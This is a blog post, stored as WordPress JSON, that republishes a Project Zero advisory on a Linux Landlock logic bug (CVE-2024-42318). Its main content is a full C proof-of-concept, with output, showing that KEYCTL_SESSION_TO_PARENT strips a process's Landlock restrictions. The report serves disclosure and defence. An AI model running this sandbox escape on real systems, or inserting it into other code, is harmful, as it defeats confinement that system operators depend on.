{"id":59007,"date":"2024-08-20T18:30:09","date_gmt":"2024-08-20T15:30:09","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180261\/GS20240820145826.txt"},"modified":"2024-08-20T18:30:09","modified_gmt":"2024-08-20T15:30:09","slug":"linux-landlock-logic-bug","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/linux-landlock-logic-bug\/","title":{"rendered":"Linux Landlock Logic Bug"},"content":{"rendered":"<p>Linux: landlock can be disabled thanks to missing cred_transfer hook; and Smack looks dodgy too<\/p>\n<p>I found a logic bug that makes it possible for a process to get rid of all Landlock restrictions applied to it:<br \/>When a process&#8217; cred struct is replaced, this _almost_ always invokes the cred_prepare LSM hook; but in one special case (when KEYCTL_SESSION_TO_PARENT updates the parent&#8217;s credentials), the cred_transfer LSM hook is used instead. Landlock only implements the cred_prepare hook, not cred_transfer, so KEYCTL_SESSION_TO_PARENT causes all information on Landlock restrictions to be lost.<\/p>\n<p>The one piece of good news about this is that it requires access to the keyctl() syscall; and I think Landlock is typically used in combination with some kind of seccomp allowlist, which will probably _usually_ make this issue unreachable from sandboxed code?<\/p>\n<p>I had a look at the other LSMs that have cred_prepare or cred_transfer hooks:<\/p>\n<p>&#8211; AppArmor handles both hooks in the same way, that&#8217;s fine<br \/>&#8211; SELinux handles both hooks in the same way, that&#8217;s fine<br \/>&#8211; Tomoyo only handles cred_prepare, not cred_transfer, but it only uses the<br \/>hook for something weird that&#8217;s unrelated to the actual cred structs, so<br \/>that&#8217;s probably fine<br \/>&#8211; Smack handles both but handles them differently; smack_cred_transfer() only<br \/>transfers a subset of the information that smack_cred_prepare() transfers.<br \/>That looks a bit dodgy to me but I don&#8217;t really understand Smack &#8211; Casey, can<br \/>you check if Smack handles KEYCTL_SESSION_TO_PARENT correctly?<\/p>\n<p>I will send a suggested fix for Landlock in a minute.<\/p>\n<p>Here&#8217;s a reproducer for escaping from Landlock confinement, tested on latest<br \/>mainline (at commit 786c8248dbd33a5a7a07f7c6e55a7bfc68d2ca48):<\/p>\n<p>&#8220;`<br \/>user@vm:~\/landlock-houdini$ cat landlock-houdini.c<br \/>#define _GNU_SOURCE<br \/>#include &lt;unistd.h&gt;<br \/>#include &lt;err.h&gt;<br \/>#include &lt;stdint.h&gt;<br \/>#include &lt;stdlib.h&gt;<br \/>#include &lt;fcntl.h&gt;<br \/>#include &lt;stdio.h&gt;<br \/>#include &lt;sys\/prctl.h&gt;<br \/>#include &lt;sys\/wait.h&gt;<br \/>#include &lt;sys\/syscall.h&gt;<br \/>#include &lt;linux\/keyctl.h&gt;<\/p>\n<p>\/* stuff from the landlock header *\/<br \/>struct landlock_ruleset_attr {<br \/>uint64_t handled_access_fs;<br \/>};<br \/>#define LANDLOCK_ACCESS_FS_WRITE_FILE (1ULL &lt;&lt; 1)<\/p>\n<p>#define SYSCHK(x) ({ \\\\<br \/>typeof(x) __res = (x); \\\\<br \/>if (__res == (typeof(x))-1) \\\\<br \/>err(1, \\&#8221;SYSCHK(\\&#8221; #x \\&#8221;)\\&#8221;); \\\\<br \/>__res; \\\\<br \/>})<\/p>\n<p>int main(void) {<br \/>\/* == tell landlock to block opening any files for writing == *\/<br \/>SYSCHK(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0));<br \/>struct landlock_ruleset_attr ruleset_attr = {<br \/>.handled_access_fs = LANDLOCK_ACCESS_FS_WRITE_FILE<br \/>};<br \/>int ruleset = SYSCHK(syscall(444\/*__NR_landlock_create_ruleset*\/, &amp;ruleset_attr, sizeof(ruleset_attr), 0));<br \/>SYSCHK(syscall(446\/*__NR_landlock_restrict_self*\/, ruleset, 0));<\/p>\n<p>\/* == make sure we really can&#8217;t open files for writing == *\/<br \/>int open_res = open(\\&#8221;\/dev\/null\\&#8221;, O_WRONLY);<br \/>if (open_res != -1)<br \/>errx(1, \\&#8221;open for write still worked after sandboxing???\\&#8221;);<br \/>perror(\\&#8221;open for write failed as expected\\&#8221;);<\/p>\n<p>\/* == try to escape from landlock == *\/<br \/>\/* needed for KEYCTL_SESSION_TO_PARENT permission checks *\/<br \/>SYSCHK(syscall(__NR_keyctl, KEYCTL_JOIN_SESSION_KEYRING, NULL, 0, 0, 0));<br \/>pid_t child = SYSCHK(fork());<br \/>if (child == 0) {<br \/>\/*<br \/>* KEYCTL_SESSION_TO_PARENT is a no-op unless we have a different session<br \/>* keyring in the child, so make that happen.<br \/>*\/<br \/>SYSCHK(syscall(__NR_keyctl, KEYCTL_JOIN_SESSION_KEYRING, NULL, 0, 0, 0));<\/p>\n<p>\/*<br \/>* This is where the magic happens:<br \/>* KEYCTL_SESSION_TO_PARENT installs credentials on the parent that<br \/>* never go through the cred_prepare hook, this path uses cred_transfer<br \/>* instead.<br \/>* So basically after this call, the parent&#8217;s landlock restrictions<br \/>* are gone.<br \/>*\/<br \/>SYSCHK(syscall(__NR_keyctl, KEYCTL_SESSION_TO_PARENT, 0, 0, 0, 0));<br \/>exit(0);<br \/>}<br \/>int wstatus;<br \/>SYSCHK(waitpid(child, &amp;wstatus, 0));<br \/>if (!WIFEXITED(wstatus) || WEXITSTATUS(wstatus) != 0)<br \/>errx(1, \\&#8221;child failed unexpectedly, unable to test bug\\&#8221;);<\/p>\n<p>\/* retry the same operation that was previously blocked to see if we escaped *\/<br \/>int open_res2 = open(\\&#8221;\/dev\/null\\&#8221;, O_WRONLY);<br \/>if (open_res2 != -1)<br \/>errx(1, \\&#8221;open for write works again, VULNERABLE!\\&#8221;);<br \/>perror(\\&#8221;open for write failed as it should, seems fixed\\&#8221;);<br \/>}<br \/>user@vm:~\/landlock-houdini$ gcc -o landlock-houdini landlock-houdini.c -Wall<br \/>user@vm:~\/landlock-houdini$ .\/landlock-houdini<br \/>open for write failed as expected: Permission denied<br \/>landlock-houdini: open for write works again, VULNERABLE!<br \/>user@vm:~\/landlock-houdini$<br \/>&#8220;`<\/p>\n<p>This bug is subject to a 90-day disclosure deadline. If a fix for this<br \/>issue is made available to users before the end of the 90-day deadline,<br \/>this bug report will become public 30 days after the fix was made<br \/>available. Otherwise, this bug report will become public at the deadline.<br \/>The scheduled deadline is 2024-10-22.<\/p>\n<p>For more details, see the Project Zero vulnerability disclosure policy:<br \/>https:\/\/googleprojectzero.blogspot.com\/p\/vulnerability-disclosure-<br \/>policy.html<\/p>\n<p>Related CVE Numbers: CVE-2024-42318.<\/p>\n<p>Found by: jannh@google.com<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Linux: landlock can be disabled thanks to missing cred_transfer hook; and Smack looks dodgy too I found a logic bug that makes it possible for a process to get rid of all Landlock restrictions applied to it:When a process&#8217; cred struct is replaced, this _almost_ always invokes the cred_prepare LSM hook; but in one special &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59007","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59007","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59007"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59007\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59007"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59007"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59007"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}